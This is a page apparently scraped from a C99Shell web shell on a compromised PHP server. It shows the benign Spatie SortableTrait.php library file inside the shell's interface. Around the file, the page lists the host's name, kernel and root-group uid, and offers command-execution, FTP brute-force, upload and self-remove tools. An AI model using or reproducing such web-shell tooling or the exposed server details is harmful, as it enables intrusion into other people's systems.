!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/eloquent-sortable/src/   drwxr-xr-x
Free 23.61 GB of 117.98 GB (20.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SortableTrait.php (5.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\EloquentSortable;

use 
ArrayAccess;
use 
Illuminate\Database\Eloquent\Builder;
use 
Illuminate\Database\Eloquent\SoftDeletingScope;
use 
InvalidArgumentException;

trait 
SortableTrait
{
    public static function 
bootSortableTrait()
    {
        static::
creating(function ($model) {
            if (
$model instanceof Sortable && $model->shouldSortWhenCreating()) {
                
$model->setHighestOrderNumber();
            }
        });
    }

    public function 
setHighestOrderNumber()
    {
        
$orderColumnName $this->determineOrderColumnName();

        
$this->$orderColumnName $this->getHighestOrderNumber() + 1;
    }

    public function 
getHighestOrderNumber(): int
    
{
        return (int) 
$this->buildSortQuery()->max($this->determineOrderColumnName());
    }

    public function 
getLowestOrderNumber(): int
    
{
        return (int) 
$this->buildSortQuery()->min($this->determineOrderColumnName());
    }

    public function 
scopeOrdered(Builder $querystring $direction 'asc')
    {
        return 
$query->orderBy($this->determineOrderColumnName(), $direction);
    }

    public static function 
setNewOrder($idsint $startOrder 1string $primaryKeyColumn null)
    {
        if (! 
is_array($ids) && ! $ids instanceof ArrayAccess) {
            throw new 
InvalidArgumentException('You must pass an array or ArrayAccess object to setNewOrder');
        }

        
$model = new static;

        
$orderColumnName $model->determineOrderColumnName();

        if (
is_null($primaryKeyColumn)) {
            
$primaryKeyColumn $model->getKeyName();
        }

        foreach (
$ids as $id) {
            static::
withoutGlobalScope(SoftDeletingScope::class)
                ->
where($primaryKeyColumn$id)
                ->
update([$orderColumnName => $startOrder++]);
        }
    }

    public static function 
setNewOrderByCustomColumn(string $primaryKeyColumn$idsint $startOrder 1)
    {
        
self::setNewOrder($ids$startOrder$primaryKeyColumn);
    }

    public function 
determineOrderColumnName(): string
    
{
        return isset(
$this->sortable['order_column_name'])
            ? 
$this->sortable['order_column_name']
            : 
config('eloquent-sortable.order_column_name''order_column');
    }

    
/**
     * Determine if the order column should be set when saving a new model instance.
     */
    
public function shouldSortWhenCreating(): bool
    
{
        return isset(
$this->sortable['sort_when_creating'])
            ? 
$this->sortable['sort_when_creating']
            : 
config('eloquent-sortable.sort_when_creating'true);
    }

    public function 
moveOrderDown()
    {
        
$orderColumnName $this->determineOrderColumnName();

        
$swapWithModel $this->buildSortQuery()->limit(1)
            ->
ordered()
            ->
where($orderColumnName'>'$this->$orderColumnName)
            ->
first();

        if (! 
$swapWithModel) {
            return 
$this;
        }

        return 
$this->swapOrderWithModel($swapWithModel);
    }

    public function 
moveOrderUp()
    {
        
$orderColumnName $this->determineOrderColumnName();

        
$swapWithModel $this->buildSortQuery()->limit(1)
            ->
ordered('desc')
            ->
where($orderColumnName'<'$this->$orderColumnName)
            ->
first();

        if (! 
$swapWithModel) {
            return 
$this;
        }

        return 
$this->swapOrderWithModel($swapWithModel);
    }

    public function 
swapOrderWithModel(Sortable $otherModel)
    {
        
$orderColumnName $this->determineOrderColumnName();

        
$oldOrderOfOtherModel $otherModel->$orderColumnName;

        
$otherModel->$orderColumnName $this->$orderColumnName;
        
$otherModel->save();

        
$this->$orderColumnName $oldOrderOfOtherModel;
        
$this->save();

        return 
$this;
    }

    public static function 
swapOrder(Sortable $modelSortable $otherModel)
    {
        
$model->swapOrderWithModel($otherModel);
    }

    public function 
moveToStart()
    {
        
$firstModel $this->buildSortQuery()->limit(1)
            ->
ordered()
            ->
first();

        if (
$firstModel->getKey() === $this->getKey()) {
            return 
$this;
        }

        
$orderColumnName $this->determineOrderColumnName();

        
$this->$orderColumnName $firstModel->$orderColumnName;
        
$this->save();

        
$this->buildSortQuery()->where($this->getKeyName(), '!='$this->getKey())->increment($orderColumnName);

        return 
$this;
    }

    public function 
moveToEnd()
    {
        
$maxOrder $this->getHighestOrderNumber();

        
$orderColumnName $this->determineOrderColumnName();

        if (
$this->$orderColumnName === $maxOrder) {
            return 
$this;
        }

        
$oldOrder $this->$orderColumnName;

        
$this->$orderColumnName $maxOrder;
        
$this->save();

        
$this->buildSortQuery()->where($this->getKeyName(), '!='$this->getKey())
            ->
where($orderColumnName'>'$oldOrder)
            ->
decrement($orderColumnName);

        return 
$this;
    }

    public function 
isLastInOrder(): bool
    
{
        
$orderColumnName $this->determineOrderColumnName();

        return (int)
$this->$orderColumnName === $this->getHighestOrderNumber();
    }

    public function 
isFirstInOrder(): bool
    
{
        
$orderColumnName $this->determineOrderColumnName();

        return (int)
$this->$orderColumnName === $this->getLowestOrderNumber();
    }

    public function 
buildSortQuery()
    {
        return static::
query();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--